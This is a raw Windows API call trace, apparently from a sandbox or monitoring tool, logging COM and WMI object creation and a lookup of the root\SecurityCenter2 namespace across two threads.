	[0102.358] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0a00, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x67ded40 | out: ppvObject=0x67ded40*=0x0) returned 0x80004002
	[0102.358] WbemDefPath:IUnknown:AddRef (This=0x69b0a00) returned 0x3
	[0102.358] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0a00, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x67de69c | out: ppvObject=0x67de69c*=0x0) returned 0x80004002
	[0102.358] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0a00, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x67de64c | out: ppvObject=0x67de64c*=0x0) returned 0x80004002
	[0102.358] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0a00, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67de658 | out: ppvObject=0x67de658*=0x719950) returned 0x0
	[0102.358] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x719950, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x67de660 | out: pCid=0x67de660*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0102.358] WbemDefPath:IUnknown:Release (This=0x719950) returned 0x3
	[0102.358] CoGetContextToken (in: pToken=0x67de6b8 | out: pToken=0x67de6b8) returned 0x0
	[0102.358] CoGetContextToken (in: pToken=0x67deac0 | out: pToken=0x67deac0) returned 0x0
	[0102.358] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0a00, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67deb50 | out: ppvObject=0x67deb50*=0x0) returned 0x80004002
	[0102.358] WbemDefPath:IUnknown:Release (This=0x69b0a00) returned 0x2
	[0102.358] WbemDefPath:IUnknown:Release (This=0x69b0a00) returned 0x1
	[0102.358] SetEvent (hEvent=0x594) returned 1
	[0107.511] CoGetClassObject (in: rclsid=0x5420004*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x67def38 | out: ppv=0x67def38*=0x69bd660) returned 0x0
	[0107.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd660, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x67df150 | out: ppvObject=0x67df150*=0x0) returned 0x80004002
	[0107.511] WbemDefPath:IClassFactory:CreateInstance (in: This=0x69bd660, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67df164 | out: ppvObject=0x67df164*=0x69c0428) returned 0x0
	[0107.511] WbemDefPath:IUnknown:Release (This=0x69bd660) returned 0x0
	[0107.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c0428, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67ded84 | out: ppvObject=0x67ded84*=0x69c0428) returned 0x0
	[0107.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c0428, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x67ded40 | out: ppvObject=0x67ded40*=0x0) returned 0x80004002
	[0107.511] WbemDefPath:IUnknown:AddRef (This=0x69c0428) returned 0x3
	[0107.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c0428, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x67de69c | out: ppvObject=0x67de69c*=0x0) returned 0x80004002
	[0107.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c0428, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x67de64c | out: ppvObject=0x67de64c*=0x0) returned 0x80004002
	[0107.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c0428, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67de658 | out: ppvObject=0x67de658*=0x5413cc8) returned 0x0
	[0107.511] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5413cc8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x67de660 | out: pCid=0x67de660*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0107.511] WbemDefPath:IUnknown:Release (This=0x5413cc8) returned 0x3
	[0107.511] CoGetContextToken (in: pToken=0x67de6b8 | out: pToken=0x67de6b8) returned 0x0
	[0107.511] CoGetContextToken (in: pToken=0x67deac0 | out: pToken=0x67deac0) returned 0x0
	[0107.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c0428, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67deb50 | out: ppvObject=0x67deb50*=0x0) returned 0x80004002
	[0107.511] WbemDefPath:IUnknown:Release (This=0x69c0428) returned 0x2
	[0107.511] WbemDefPath:IUnknown:Release (This=0x69c0428) returned 0x1
	[0107.512] SetEvent (hEvent=0x5a4) returned 1
	[0107.513] CoGetClassObject (in: rclsid=0x5420004*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x67def38 | out: ppv=0x67def38*=0x69bd660) returned 0x0
	[0107.514] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd660, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x67df150 | out: ppvObject=0x67df150*=0x0) returned 0x80004002
	[0107.514] WbemDefPath:IClassFactory:CreateInstance (in: This=0x69bd660, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67df164 | out: ppvObject=0x67df164*=0x69c6918) returned 0x0
	[0107.514] WbemDefPath:IUnknown:Release (This=0x69bd660) returned 0x0
	[0107.514] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c6918, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67ded84 | out: ppvObject=0x67ded84*=0x69c6918) returned 0x0
	[0107.514] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c6918, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x67ded40 | out: ppvObject=0x67ded40*=0x0) returned 0x80004002
	[0107.514] WbemDefPath:IUnknown:AddRef (This=0x69c6918) returned 0x3
	[0107.514] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c6918, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x67de69c | out: ppvObject=0x67de69c*=0x0) returned 0x80004002
	[0107.514] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c6918, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x67de64c | out: ppvObject=0x67de64c*=0x0) returned 0x80004002
	[0107.514] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c6918, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67de658 | out: ppvObject=0x67de658*=0x5413dc8) returned 0x0
	[0107.514] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5413dc8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x67de660 | out: pCid=0x67de660*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0107.514] WbemDefPath:IUnknown:Release (This=0x5413dc8) returned 0x3
	[0107.514] CoGetContextToken (in: pToken=0x67de6b8 | out: pToken=0x67de6b8) returned 0x0
	[0107.514] CoGetContextToken (in: pToken=0x67deac0 | out: pToken=0x67deac0) returned 0x0
	[0107.514] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c6918, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67deb50 | out: ppvObject=0x67deb50*=0x0) returned 0x80004002
	[0107.514] WbemDefPath:IUnknown:Release (This=0x69c6918) returned 0x2
	[0107.514] WbemDefPath:IUnknown:Release (This=0x69c6918) returned 0x1
	[0107.514] SetEvent (hEvent=0x574) returned 1
	[0107.583] CoGetClassObject (in: rclsid=0x5420004*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x67def38 | out: ppv=0x67def38*=0x69bc9e8) returned 0x0
	[0107.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc9e8, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x67df150 | out: ppvObject=0x67df150*=0x0) returned 0x80004002
	[0107.584] WbemDefPath:IClassFactory:CreateInstance (in: This=0x69bc9e8, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67df164 | out: ppvObject=0x67df164*=0x69c6c20) returned 0x0
	[0107.584] WbemDefPath:IUnknown:Release (This=0x69bc9e8) returned 0x0
	[0107.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c6c20, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67ded84 | out: ppvObject=0x67ded84*=0x69c6c20) returned 0x0
	[0107.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c6c20, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x67ded40 | out: ppvObject=0x67ded40*=0x0) returned 0x80004002
	[0107.584] WbemDefPath:IUnknown:AddRef (This=0x69c6c20) returned 0x3
	[0107.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c6c20, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x67de69c | out: ppvObject=0x67de69c*=0x0) returned 0x80004002
	[0107.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c6c20, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x67de64c | out: ppvObject=0x67de64c*=0x0) returned 0x80004002
	[0107.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c6c20, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67de658 | out: ppvObject=0x67de658*=0x719a10) returned 0x0
	[0107.584] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x719a10, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x67de660 | out: pCid=0x67de660*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0107.584] WbemDefPath:IUnknown:Release (This=0x719a10) returned 0x3
	[0107.584] CoGetContextToken (in: pToken=0x67de6b8 | out: pToken=0x67de6b8) returned 0x0
	[0107.584] CoGetContextToken (in: pToken=0x67deac0 | out: pToken=0x67deac0) returned 0x0
	[0107.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c6c20, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67deb50 | out: ppvObject=0x67deb50*=0x0) returned 0x80004002
	[0107.584] WbemDefPath:IUnknown:Release (This=0x69c6c20) returned 0x2
	[0107.584] WbemDefPath:IUnknown:Release (This=0x69c6c20) returned 0x1
	[0107.584] SetEvent (hEvent=0x54c) returned 1
	[0109.595] CoGetClassObject (in: rclsid=0x5420004*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x67def38 | out: ppv=0x67def38*=0x69bc9e8) returned 0x0
	[0109.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bc9e8, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x67df150 | out: ppvObject=0x67df150*=0x0) returned 0x80004002
	[0109.596] WbemDefPath:IClassFactory:CreateInstance (in: This=0x69bc9e8, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67df164 | out: ppvObject=0x67df164*=0x69c7100) returned 0x0
	[0109.596] WbemDefPath:IUnknown:Release (This=0x69bc9e8) returned 0x0
	[0109.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c7100, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67ded84 | out: ppvObject=0x67ded84*=0x69c7100) returned 0x0
	[0109.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c7100, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x67ded40 | out: ppvObject=0x67ded40*=0x0) returned 0x80004002
	[0109.596] WbemDefPath:IUnknown:AddRef (This=0x69c7100) returned 0x3
	[0109.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c7100, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x67de69c | out: ppvObject=0x67de69c*=0x0) returned 0x80004002
	[0109.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c7100, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x67de64c | out: ppvObject=0x67de64c*=0x0) returned 0x80004002
	[0109.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c7100, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67de658 | out: ppvObject=0x67de658*=0x719c00) returned 0x0
	[0109.596] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x719c00, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x67de660 | out: pCid=0x67de660*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0109.596] WbemDefPath:IUnknown:Release (This=0x719c00) returned 0x3
	[0109.596] CoGetContextToken (in: pToken=0x67de6b8 | out: pToken=0x67de6b8) returned 0x0
	[0109.596] CoGetContextToken (in: pToken=0x67deac0 | out: pToken=0x67deac0) returned 0x0
	[0109.596] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c7100, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x67deb50 | out: ppvObject=0x67deb50*=0x0) returned 0x80004002
	[0109.596] WbemDefPath:IUnknown:Release (This=0x69c7100) returned 0x2
	[0109.596] WbemDefPath:IUnknown:Release (This=0x69c7100) returned 0x1
	[0109.596] SetEvent (hEvent=0x53c) returned 1

Thread:
	id = 85
	os_tid = 0x638

	[0081.886] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0081.886] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x69af25c | out: lpiid=0x69af25c) returned 0x0
	[0081.886] CoGetClassObject (in: rclsid=0x54200f4*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7355d1fc*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x69aef70 | out: ppv=0x69aef70*=0x69b0918) returned 0x0
	[0081.946] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0918, riid=0x73590ae0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x69af188 | out: ppvObject=0x69af188*=0x0) returned 0x80004002
	[0081.946] WbemLocator:IClassFactory:CreateInstance (in: This=0x69b0918, pUnkOuter=0x0, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x69af19c | out: ppvObject=0x69af19c*=0x69b0810) returned 0x0
	[0081.946] WbemLocator:IUnknown:Release (This=0x69b0918) returned 0x0
	[0081.946] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0810, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x69aedbc | out: ppvObject=0x69aedbc*=0x69b0810) returned 0x0
	[0081.946] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0810, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x69aed78 | out: ppvObject=0x69aed78*=0x0) returned 0x80004002
	[0081.946] WbemLocator:IUnknown:AddRef (This=0x69b0810) returned 0x3
	[0081.947] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0810, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x69ae6d4 | out: ppvObject=0x69ae6d4*=0x0) returned 0x80004002
	[0081.947] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0810, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x69ae684 | out: ppvObject=0x69ae684*=0x0) returned 0x80004002
	[0081.947] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0810, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x69ae690 | out: ppvObject=0x69ae690*=0x0) returned 0x80004002
	[0081.947] CoGetContextToken (in: pToken=0x69ae6f0 | out: pToken=0x69ae6f0) returned 0x0
	[0081.947] CoGetObjectContext (in: riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x712204 | out: ppv=0x712204*=0x69a158) returned 0x0
	[0081.947] CoGetContextToken (in: pToken=0x69aeaf8 | out: pToken=0x69aeaf8) returned 0x0
	[0081.947] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0810, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x69aeb88 | out: ppvObject=0x69aeb88*=0x0) returned 0x80004002
	[0081.947] WbemLocator:IUnknown:Release (This=0x69b0810) returned 0x2
	[0081.947] WbemLocator:IUnknown:Release (This=0x69b0810) returned 0x1
	[0081.948] CoGetContextToken (in: pToken=0x69af168 | out: pToken=0x69af168) returned 0x0
	[0081.948] CoGetContextToken (in: pToken=0x69af0c8 | out: pToken=0x69af0c8) returned 0x0
	[0081.948] WbemLocator:IUnknown:QueryInterface (in: This=0x69b0810, riid=0x69af198*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x69af194 | out: ppvObject=0x69af194*=0x69b0810) returned 0x0
	[0081.948] WbemLocator:IUnknown:AddRef (This=0x69b0810) returned 0x3
	[0081.948] WbemLocator:IUnknown:Release (This=0x69b0810) returned 0x2
	[0081.949] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69b0820, puCount=0x69af32c | out: puCount=0x69af32c*=0x2) returned 0x0
	[0081.949] WbemDefPath:IWbemPath:GetText (in: This=0x69b0820, lFlags=8, puBuffLength=0x69af328*=0x0, pszText=0x0 | out: puBuffLength=0x69af328*=0x1f, pszText=0x0) returned 0x0
	[0081.949] WbemDefPath:IWbemPath:GetText (in: This=0x69b0820, lFlags=8, puBuffLength=0x69af328*=0x1f, pszText="000000000000000000000000000000" | out: puBuffLength=0x69af328*=0x1f, pszText="\\\\YKYD69Q\\root\\SecurityCenter2") returned 0x0
	[0081.952] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x69ae5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e
